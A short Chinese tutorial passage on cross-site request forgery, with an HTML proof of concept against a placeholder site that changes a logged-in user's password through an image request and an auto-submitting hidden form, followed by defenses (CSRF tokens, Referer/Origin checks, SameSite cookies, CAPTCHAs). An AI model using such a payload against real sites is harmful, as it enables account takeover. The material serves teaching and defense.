接口地址:https://victim.com/change-password
请求类型:get/post
接受参数:password
DOCTYPE html>
<html>
<body>
<img src="https://victim.com/change-password?password=vme50">
<form action="https://victim.com/change-password" method=POST>
<input type="hidden" name="password" value="vme50" />
form>
<script> document.forms[0].submit(); script>
body>
html>
用户在已经登录了https://victim.com这个网站的情况下打开我们的网站,代码会自动发起网络请求,将受害者的账号密码修改为我们设置的值
在每个表单提交或敏感操作中包含一个随机生成的 CSRF Token,并将其与用户的会话关联起来。
服务器在接收到请求时验证 CSRF Token 的有效性,如果不匹配,则拒绝请求。
这样可以防止攻击者伪造请求,因为攻击者无法获取有效的 CSRF Token。
① 验证请求头:在服务器端验证请求头中的 Referer 字段或 Origin 字段,确保请求来自合法的源
② 验证域名:在服务器端对请求进行同源检测,只接受来自同一域名下的请求
③ 对在本域发起的攻击无效
将敏感的 Cookie 设置为 SameSite 属性为 Strict 或 Lax,限制其在跨站点请求中的发送,从而减少 CSRF 攻击的风险。
① 验证码:对于敏感操作,可以要求用户输入验证码进行验证,以确保请求是由真实用户发起的